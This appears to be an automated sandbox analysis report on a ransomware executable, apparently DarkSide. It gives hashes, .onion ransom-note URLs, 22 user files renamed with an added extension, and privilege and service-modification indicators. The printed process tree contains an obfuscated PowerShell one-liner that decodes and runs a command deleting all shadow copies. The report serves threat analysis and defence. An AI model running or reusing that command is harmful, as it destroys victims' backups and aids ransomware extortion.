Analysis
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max time kernel
137s -
max time network
139s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
11/08/2020, 17:17
Static task
static1
Behavioral task
behavioral1
Sample
9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Resource
win7v200722
Behavioral task
behavioral2
Sample
9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Resource
win10v200722
General
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Target
9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
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Size
17KB
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MD5
f87a2e1c3d148a67eaeb696b1ab69133
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SHA1
d1dfe82775c1d698dd7861d6dfa1352a74551d35
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SHA256
9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297
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SHA512
e361811b07a66d9a784be37bdace0bdec9e11374083d7ccf7d9830e47a59afa8b9d12d80d4d47ea1932116354ad60bbc8ea6a6a265885d264b35486986415ea3
Malware Config
Extracted
C:\\README.6435bdf0.TXT
http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC
http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68
Signatures
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Modifies extensions of user files 22 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\EnableSend.tif => C:\Users\Admin\Pictures\EnableSend.tif.6435bdf0 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe File renamed C:\Users\Admin\Pictures\FindUnblock.tif => C:\Users\Admin\Pictures\FindUnblock.tif.6435bdf0 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe File opened for modification C:\Users\Admin\Pictures\FindUnblock.tif.6435bdf0 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe File renamed C:\Users\Admin\Pictures\ResolveLimit.raw => C:\Users\Admin\Pictures\ResolveLimit.raw.6435bdf0 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe File opened for modification C:\Users\Admin\Pictures\SavePush.raw.6435bdf0 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe File renamed C:\Users\Admin\Pictures\SavePush.raw => C:\Users\Admin\Pictures\SavePush.raw.6435bdf0 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe File renamed C:\Users\Admin\Pictures\CompleteConvertTo.crw => C:\Users\Admin\Pictures\CompleteConvertTo.crw.6435bdf0 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe File opened for modification C:\Users\Admin\Pictures\CompleteConvertTo.crw.6435bdf0 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe File renamed C:\Users\Admin\Pictures\DismountNew.crw => C:\Users\Admin\Pictures\DismountNew.crw.6435bdf0 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe File renamed C:\Users\Admin\Pictures\EnableFormat.raw => C:\Users\Admin\Pictures\EnableFormat.raw.6435bdf0 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe File renamed C:\Users\Admin\Pictures\ImportResolve.png => C:\Users\Admin\Pictures\ImportResolve.png.6435bdf0 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe File renamed C:\Users\Admin\Pictures\InstallUnblock.raw => C:\Users\Admin\Pictures\InstallUnblock.raw.6435bdf0 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe File opened for modification C:\Users\Admin\Pictures\ResolveLimit.raw.6435bdf0 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe File opened for modification C:\Users\Admin\Pictures\ShowOpen.png.6435bdf0 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe File opened for modification C:\Users\Admin\Pictures\CompleteRead.raw.6435bdf0 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe File opened for modification C:\Users\Admin\Pictures\EnableFormat.raw.6435bdf0 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe File opened for modification C:\Users\Admin\Pictures\EnableSend.tif.6435bdf0 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe File opened for modification C:\Users\Admin\Pictures\ImportResolve.png.6435bdf0 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe File renamed C:\Users\Admin\Pictures\ShowOpen.png => C:\Users\Admin\Pictures\ShowOpen.png.6435bdf0 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe File renamed C:\Users\Admin\Pictures\CompleteRead.raw => C:\Users\Admin\Pictures\CompleteRead.raw.6435bdf0 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe File opened for modification C:\Users\Admin\Pictures\DismountNew.crw.6435bdf0 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe File opened for modification C:\Users\Admin\Pictures\InstallUnblock.raw.6435bdf0 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Modifies service 2 TTPs 5 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5} vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe 728 powershell.exe 728 powershell.exe 728 powershell.exe 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeSecurityPrivilege 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeTakeOwnershipPrivilege 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeLoadDriverPrivilege 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeSystemProfilePrivilege 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeSystemtimePrivilege 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeProfSingleProcessPrivilege 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeIncBasePriorityPrivilege 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeCreatePagefilePrivilege 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeBackupPrivilege 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeRestorePrivilege 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeShutdownPrivilege 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeDebugPrivilege 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeSystemEnvironmentPrivilege 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeRemoteShutdownPrivilege 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeUndockPrivilege 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeManageVolumePrivilege 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: 33 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: 34 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: 35 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: 36 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeDebugPrivilege 728 powershell.exe Token: SeBackupPrivilege 1604 vssvc.exe Token: SeRestorePrivilege 1604 vssvc.exe Token: SeAuditPrivilege 1604 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 648 wrote to memory of 728 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe 66 PID 648 wrote to memory of 728 648 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe 66
Processes
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C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe"C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe"1⤵
- Modifies extensions of user files
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:648 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:728
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1604